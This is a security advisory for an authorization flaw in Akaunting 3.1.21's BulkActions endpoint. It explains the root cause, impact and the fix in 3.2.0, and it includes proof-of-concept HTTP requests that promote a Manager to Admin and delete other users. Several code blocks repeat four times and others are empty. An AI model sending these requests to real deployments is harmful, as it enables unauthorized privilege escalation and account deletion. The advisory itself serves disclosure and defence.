Akaunting 3.1.21 - Improper authorization in BulkActions handle dispatch

8,7

High

Discovered by

Jaime Ramírez

External researcher

Summary

Full name

Akaunting 3.1.21 - Improper authorization in BulkActions handle dispatch

Code name

State

Public

Release date

Affected product

Akaunting

Vendor

Akaunting

Affected version(s)

3.1.21

Fixed version(s)

3.2.0

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.7

Exploit available

Yes

Description

Akaunting 3.1.21 contains an authenticated improper authorization vulnerability in the common BulkActions dispatcher.

The BulkActions endpoint accepts a request-controlled handle parameter and invokes a method with the same name on the resolved BulkAction class. Authorization is coupled to the $actions metadata array, but the vulnerable dispatcher only checks permissions when the user-supplied handle exists as a direct key in that array.

This design misses two important cases:

  • internal submit handles, such as update, declared under a modal action like edit;

  • callable methods, such asdestroy, that exist on the BulkAction class but are not exposed as direct action keys.

As a result, an authenticated user with access to the admin route group but without user-management permissions can call handle=update or handle=destroy against App\BulkActions\Auth\Users. In the default role model, a Manager has admin-panel access but lacks auth-users permissions. The Manager can still send a direct POST request to the BulkActions endpoint and update user roles or delete other users.

Vulnerability

Root Cause

The common dispatcher treats the request-controlled handle as both an authorization lookup key and a method name. When handle is absent from $bulk_actions->actions, the permission predicate is skipped, but dynamic dispatch still invokes the corresponding public method. The jobs called by update() and destroy() enforce only self-protection rules; they do not restore the missing update-auth-users or delete-auth-users authorization check.

Source-to-sink path

  1. Entry point — the common BulkActions route admits admin-panel users

    routes/admin.php registers the common bulk action endpoint:

    The route is mounted under /{company_id} with the admin middleware group. It authenticates the caller and requires read-admin-panel, but it has no per-resource authorization at this boundary. A Manager can therefore reach the dispatcher even though that role lacks permission to administer users.

  2. Attacker-controlled source — handle selects both the authorization lookup and the operation. In Akaunting 3.1.21, BulkActions::action() reads handle from the request:

    The controller uses that untrusted value to locate a permission, but only if it is a direct key in $bulk_actions->actions:

    
    
    
    
    
    
    
    

    This is the authorization gap: if the supplied handle is absent from $actions, isset(...) is false and the entire permission check is skipped. The value is not rejected or normalized at this point.

  3. Authorization bypass to sink — the unchecked handle is dynamically invoked. The same request-controlled handle is used for dynamic method dispatch:

    The controller then uses the same unchecked value as a method name. In 3.1.21, there is no allowlist to ensure that the method is a declared action or to inherit a parent modal action's permission. Thus a value that skipped step 2 reaches this dynamic-call sink.

  4. Reachable privileged operations — declared actions and their internal handles do not align. App\BulkActions\Auth\Users declares these intended actions:

    
    
    
    
    
    
    
    

    update is intentionally the submit handle for the permission-protected edit action. destroy is a public callable method, but neither update nor destroy is a direct $actions key. Both are nevertheless callable by the sink in step 3:

    
    
    
    
    
    
    
    

    A direct handle=update bypasses the permission assigned to edit (update-auth-users); handle=destroy bypasses the gate associated with delete (delete-auth-users).

  5. Privileged effect — the job layer does not restore the skipped authorization. UpdateUser syncs roles if the request contains roles:

    
    
    
    
    
    
    
    

    DeleteUser only prevents deleting the current user:

    
    
    
    
    
    
    
    

    These checks protect only the current account from deletion and certain self-modification cases. Neither job verifies that the caller holds update-auth-users or delete-auth-users, so the attacker-controlled role list reaches roles()->sync(...) and the selected target reaches DeleteUser.

  6. Verified remediation — 3.2.0 restores the authorization link. Commit 96c38008cf6f907e3e7341d9660de2912e0f2f13, present in 3.2.0 and later releases, adds an allowlist guard to BulkActions::action(). It resolves direct action keys and modal submit handles before authorization, so update inherits edit's permission. Unknown handles now return a 403-style error instead of being dynamically invoked.

Impact

An authenticated Manager, or any account with read-admin-panel but without update-auth-users or delete-auth-users, can bypass intended user-management authorization.

Confirmed impact from source review

  • Change another user's attributes accepted by UpdateUser.

  • Sync arbitrary submitted role IDs onto selected users through handle=update.

  • Promote the attacker-controlled Manager account to Admin if the Admin role ID is known or guessed.

  • Delete other user accounts through handle=destroy.

  • Disable users through inherited or explicit update paths where the handle is not correctly permission-gated.

Potential business impact

  • Privilege escalation from Manager to Admin.

  • Unauthorized user administration.

  • Loss of account availability by deleting or disabling users.

  • Unauthorized access to financial and administrative data after role escalation.

The issue requires authentication, an active session, and a valid CSRF token. It does not require user interaction from a victim. The attacker also needs a valid {company_id} route context and target user IDs. User IDs are typically low-entropy database identifiers and may be discoverable from responses, logs, predictable sequencing, or prior access.

PoC

Preconditions

  • Akaunting 3.1.21.

  • Application reachable at http://localhost:8080.

  • An authenticated Manager account.

  • The Manager has read-admin-panel but does not have update-auth-users or delete-auth-users.

  • A valid Manager session, CSRF token, {company_id}, attacker user ID, and administrator role ID.

  • A controlled local test environment with a disposable target account.

Local setup from the original submission

The original CVE submission uses Akaunting's Docker image pinned to 3.1.21-v:

git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d

The submission then creates a Manager attacker account through Artisan/Tinker and assigns the default manager role while attaching the user to company 1. The Manager account is used to prove that a user with admin-panel access but without update-auth-users can still call the vulnerable BulkActions endpoint.

When creating the Manager user through Tinker, assign the password as the plaintext value, not bcrypt('Manager1234!'), because App\Models\Auth\User::setPasswordAttribute() hashes the value during assignment. Passing an already-hashed value causes double hashing and prevents login.

Step 1 - Confirm the attacker starts as Manager

Log in as the Manager user and observe that the account does not have user-management permissions. The supplied evidence shows Attacker Manager with the Manager role before exploitation.

Step 2 - Promote the Manager account through the bulk update handle

Send a direct POST request to the BulkActions endpoint using handle=update:

POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>

Expected vulnerable result:

  • BulkActions::action() does not find actions['update']['permission'].

  • The permission condition is skipped.

  • $bulk_actions->update($request) executes.

  • UpdateUser syncs the submitted Admin role onto the selected attacker user.

  • The attacker account is upgraded from Manager to Admin.

Step 3 - Delete a target user through the bulk destroy handle

Send a direct POST request using handle=destroy:

POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>

Expected vulnerable result:

  • BulkActions::action() does not find actions['destroy']['permission'].

  • The permission condition is skipped.

  • $bulk_actions->destroy($request) executes.

  • DeleteUser deletes the target user unless the target is the current attacker account.

Step 4 - Confirm the impact

Refresh the Users page or inspect the database.

Observed evidence supplied with the report:

  • Before exploitation, Attacker Manager has role Manager.

  • After exploitation, Attacker Manager has role Admin.

  • The footer in both screenshots identifies Akaunting Version 3.1.21.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-19198 to refer to this issue from now on.

Disclosure policy

System Information

  • Product: Akaunting

  • Version: 3.1.21

  • Operating System: Any

References

Mitigation

  1. Upgrade to Akaunting 3.2.0 or a later supported release. It adds an allowlist for direct action keys and modal submit handles, maps update back to its parent edit action, applies that action's permission, and rejects unknown handles with a 403 response.

  2. Until upgrading, restrict read-admin-panel to trusted administrators, review role assignments and user deletions, and invalidate sessions for accounts suspected of exploitation.

  3. Preserve the server-side allowlist: never dynamically invoke a request-controlled method name. Resolve handles only from declared metadata and enforce authorization on every state-changing job as defense in depth.

Credits

The vulnerability was discovered by Jaime Ramirez, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.